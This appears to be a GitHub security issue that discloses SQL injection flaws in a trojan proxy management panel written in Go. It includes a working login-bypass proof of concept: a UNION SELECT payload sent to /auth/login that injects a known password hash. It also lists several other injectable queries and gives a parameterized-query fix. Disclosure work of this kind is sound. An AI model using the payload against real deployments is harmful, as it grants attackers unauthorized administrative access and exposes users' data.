Repository navigation
Security vulnerability #870
Description
Critical SQL Injection Vulnerability - Authentication Bypass
Overview
I have identified a critical SQL injection vulnerability in the authentication mechanism that allows unauthenticated remote attackers to bypass login and gain full administrative access to the trojan management system. This vulnerability affects the core database query functions and poses a severe security risk to all deployments.
Vulnerability Details
1. Authentication Bypass via SQL Injection in Login
Affected File: core/mysql.go
Affected Function: GetUserByName() at line 346
Severity: Critical
CVSS Score: 9.8
Vulnerable Code
func (mysql *Mysql) GetUserByName(name string) *User {
db := mysql.GetDB()
if db == nil {
return nil
}
defer db.Close()
user, err := queryUser(db, fmt.Sprintf("SELECT * FROM users WHERE BINARY username='%s'", name))
if err != nil {
return nil
}
return user
}The name parameter is directly concatenated into the SQL query without any sanitization or use of prepared statements, allowing SQL injection attacks.
Attack Flow
The vulnerability is triggered through the authentication process in web/auth.go:
Authenticator: func(c *gin.Context) (interface{}, error) {
var (
password string
loginVals Login
)
if err := c.ShouldBind(&loginVals); err != nil {
return "", jwt.ErrMissingLoginValues
}
userID := loginVals.Username // User-controlled input
pass := loginVals.Password
if userID != "admin" {
mysql := core.GetMysql()
user := mysql.GetUserByName(userID) // SQL injection here
if user == nil {
return nil, jwt.ErrFailedAuthentication
}
password = user.EncryptPass // Attacker controls this value
}
if password == pass { // Authentication check with injected data
return &loginVals, nil
}
return nil, jwt.ErrFailedAuthentication
},Proof of Concept
Request URL:
POST /auth/login
Payload:
{
"username": "' union select 1,2,'4cfc3a1811fe40afa401b25ef7fa0379f1f7c1930a04f8755d678474',4,5,6,7,8,9 #",
"password": "3"
}Explanation:
- The payload injects a UNION SELECT statement that returns a crafted user record
- Column 3 (EncryptPass) is set to
4cfc3a1811fe40afa401b25ef7fa0379f1f7c1930a04f8755d678474(SHA-224 hash of "3") - The authentication logic compares this injected hash with password "3"
- Authentication succeeds, granting full administrative access
Resulting SQL Query:
SELECT * FROM users WHERE BINARY username='' union select 1,2,'4cfc3a1811fe40afa401b25ef7fa0379f1f7c1930a04f8755d678474',4,5,6,7,8,9 #'2. Additional SQL Injection Vulnerabilities
The following functions also contain SQL injection vulnerabilities due to unsafe string concatenation:
2.1 GetUserByPass - Line 360
user, err := queryUser(db, fmt.Sprintf("SELECT * FROM users WHERE BINARY passwordShow='%s'", pass))2.2 CreateUser - Line 156
if _, err := db.Exec(fmt.Sprintf("INSERT INTO users(username, password, passwordShow, quota) VALUES ('%s', '%x', '%s', -1);", username, encryPass, base64Pass)); err != nil {2.3 UpdateUser - Line 171
if _, err := db.Exec(fmt.Sprin
7A9E
tf("UPDATE users SET username='%s', password='%x', passwordShow='%s' WHERE id=%d;", username, encryPass, base64Pass, id)); err != nil {2.4 SetExpire - Line 281
if _, err := db.Exec(fmt.Sprintf("UPDATE users SET useDays=%d, expiryDate='%s' WHERE id=%d;", useDays, expiryDate, id)); err != nil {2.5 ImportCsv - web/controller/trojan.go Line 157
if _, err = db.Exec(fmt.Sprintf(`
INSERT INTO users(username, password, passwordShow, quota, download, upload, useDays, expiryDate) VALUES ('%s','%s','%s', %d, %d, %d, %d, '%s');`,
user.Username, user.EncryptPass, user.Password, user.Quota, user.Download, user.Upload, user.UseDays, user.ExpiryDate)); err != nil {2.6 CleanDataByName - Line 323
runSql := "UPDATE users SET download=0, upload=0 WHERE BINARY username in ("
for i, name := range usernames {
runSql = runSql + "'" + name + "'" // Unsafe concatenation
if i == len(usernames)-1 {
runSql = runSql + ")"
} else {
runSql = runSql + ","
}
}Impact
- Complete Authentication Bypass: Attackers can login without valid credentials
- Data Breach: Full database access allows extraction of all user credentials and configurations
- Service Compromise: Attackers gain full administrative control over the trojan proxy system
- Privilege Escalation: All backend management functions become accessible
- Potential RCE: Combined with domain/certificate management features, may lead to remote code execution
Recommended Fix
Replace all string concatenation with parameterized queries (prepared statements):
Example Fix for GetUserByName
func (mysql *Mysql) GetUserByName(name string) *User {
db := mysql.GetDB()
if db == nil {
return nil
}
defer db.Close()
// Use parameterized query
var (
username string
encryptPass string
passShow string
download uint64
upload uint64
quota int64
id uint
useDays uint
expiryDate string
)
row := db.QueryRow("SELECT * FROM users WHERE BINARY username=?", name)
if err := row.Scan(&id, &username, &encryptPass, &passShow, "a, &download, &upload, &useDays, &expiryDate); err != nil {
return nil
}
return &User{
ID: id,
Username: username,
Password: passShow,
EncryptPass: encryptPass,
Download: download,
Upload: upload,
Quota: quota,
UseDays: useDays,
ExpiryDate: expiryDate,
}
}Complete Remediation
All database operations should be updated to use parameterized queries:
- Use
db.QueryRow("SELECT ... WHERE column=?", value)instead offmt.Sprintf - Use
db.Exec("INSERT ... VALUES (?)", value)for inserts and updates - ==Never concatenate user input directly into SQL queries==
Environment
- Version: Latest (commit b7a7054)
- Deployment: All installations (Docker and native)
- Attack Vector: Network (remote)
- Authentication Required: None
References
- OWASP SQL Injection Prevention Cheat Sheet
- CWE-89: Improper Neutralization of Special Elements used in an SQL Command
Disclosure
This vulnerability is being reported responsibly. I recommend:
- Creating a security advisory on GitHub
- Releasing a patch as soon as possible
- Notifying users to update immediately
Reacted by 绘星tsuki, 闻声Vincent and JiQuMao
Reacted by 绘星tsuki
Activity